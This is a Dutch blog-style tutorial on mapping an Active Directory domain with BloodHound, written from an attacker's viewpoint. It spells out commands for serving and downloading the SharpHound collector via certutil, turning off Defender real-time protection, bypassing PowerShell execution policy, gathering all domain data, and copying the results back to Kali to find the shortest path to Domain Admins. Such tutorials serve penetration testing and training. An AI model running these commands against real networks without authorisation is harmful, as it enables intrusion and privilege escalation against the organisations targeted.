Bloodhound tutorial

Vandaag wil ik een kleine tutorial geven over hoe bloodhound werkt en hoe je precies data ophaalt en in bloodhound stopt. Bloodhound is een belangrijke tool in active directory assesments, het bied de mogelijkheid om de omgeving in kaart te brengen op een visuele manier. Hierdoor kan jij als aanvaller op een gemakkelijke manier zien hoe jij van bijvoorbeeld gebruiker A naar gebruiker Z kan gaan en via welke wegen je er kan komen.

In deze tutorial wil ik stap voor stap beschrijven hoe jij de data verzamelt voor bloodhound en hoe jij de data in kan laden, daarna gaan wij kijken hoe de data eruit ziet en wat je er mee kan doen.

Installation

Voordat wij met bloodhound kunnen spelen moeten wij natuurlijk eerst de tool installeren op onze kali omgeving, de tool kan worden gevonden op de volgende link:

https://github.com/BloodHoundAD/BloodHound

In kali kan je bloodhound installeren door het volgende commando uit te voeren:

sudo apt-get install bloodhound

Nadat de installatie is voltooid moet de volgende commando uitgevoerd worden:

sudo neo4j console

Onderaan de afbeelding zie je een adres, hier moet je naar toe gaan. De eerste keer dat je neo4j uitvoert moet je een nieuw wachtwoord generen zodat je de volgende keer kan inloggen. Ga naar het adres, in mijn geval localhost:7474.

Verander het wachtwoord. Nadat je het wachtwoord heb aangepast kom je op de begin pagina, nu dit geregeld is kunnen wij bloodhound starten. Voer de volgende commando uit in de terminal:

sudo bloodhound

Nu zie je bovenstaande afbeelding, voer de gegevens in en klik op login.

We zijn nu klaar met het installeren van bloodhound.

Getting the data

Nu moeten wij data erin stoppen, maar deze data moeten wij eerst zien te krijgen. In deze tutorial doe ik dit vanuit een domain controller, de data zal ik daarna inladen in bloodhound.

We moeten eerst het bestand ‘sharphound.ps1’ overzetten naar de windows machine, sharphound.ps1 is de ingestor van bloodhound. Met behulp van sharphound.ps1 verzamel je data en converteer je dit naar een zip bestand dat je vervolgens kan inladen in bloodhound.

Op de kali machine voer de volgende commando uit:

python3 -m http.server 80

Bovenstaande commando maakt een http server klaar, hiermee kan jij vanaf de windows machine de sharphound.ps1 downloaden. Dit kan met de volgende commando:

certutil -urlcache -split -f http://IP/sharphound.ps1

het kan zijn dat bovenstaande word geblokkeerd, doordat het malicious content bevat. Voer dan ook de volgende commando uit (in elevated powershell sessie):

Set-MpPreference -DisableRealtimeMonitoring $true

Mooi!, alles staat erop nu. Volgende stap is om de sharphound.ps1 in te laden in de huidige sessie. Dit kan met behulp van de volgende commando:

. ./sharphound.ps1

Kan zijn dat je geen script kan uitvoeren in verband met de policy, voer dan volgende commando uit:

Set-ExecutionPolicy -ExecutionPolicy bypass

Nu is sharphound ingeladen, voer nu de volgende commando uit om data te gaan verzamelen wat erna in bloodhound geimporteerd kan worden.

Invoke-Bloodhound -CollectionsMethod all

Als alles goed gaat zou je het volgende moeten zien:

Nu is er een zip bestand aangemaakt in dezelfde directory, nu moeten wij deze zip naar onze kali machine zien te krijgen. Dit kan door op de kali machine de volgende commando uit te voeren:

scp tgreyjoy@10.1.1.152:/home/tgreyjoy

We hebben de zip nu op onze kali machine, mooi! Nu moeten wij het importeren naar bloodhound

Importing the data

Sleep de zip file naar de bloodhound interface.

Nu zie je aan de rechterkant ‘0%’ staan, wacht totdat dit 100 procent is en er een tekst balk komt met finished.

De data is nu ingeladen en nu kan jij informatie bekijken, we beginnen met de index waar je algemene informatie kan zien.

Hierboven zie je de algemene informatie van de informatie verkregen met sharphound, zoals je ziet is er maar 1 sessie, 420 ACL (Access control list) en 471 relaties. Er is ook een lijst met zogenaamde ‘queries’, dit zijn queries die op de achtergrond worden uitgevoerd om de informatie te verkrijgen uit de database. Als aanvaller ben je vooral geintresseerd in de kortste weg naar high value targets dus dat is wat we nu gaan doen.

Zodra je hierop klikt komt het volgende in beeld

Bovenstaande afbeelding laat op een grafische manier zien hoe je van een machine of gebruiker naar een andere kan gaan, ik snap dat dit best overweldigend kan zijn voor de eerste keer. Bloodhound heeft ook een help functie waarmee jij om hulp kan vragen wat een bepaalde term betekend.

Voor de tutorial zal ik nog 1 voorbeeld laten zien namelijk die van ‘Find shortest path to domain admins’, dit levert het volgende resultaat op.

Zoals je kunt zien in bovenstaande afbeelding zijn er 4 mogelijkheden om bij domain admins te komen, voor een aanvaller is dit zeer handige informatie die de aanvaller in zijn voordeel kan gebruiken.

Bedankt voor het lezen en hopelijk heb je veel geleerd, tot volgende week!

Please share and spread
NederlandsEnglish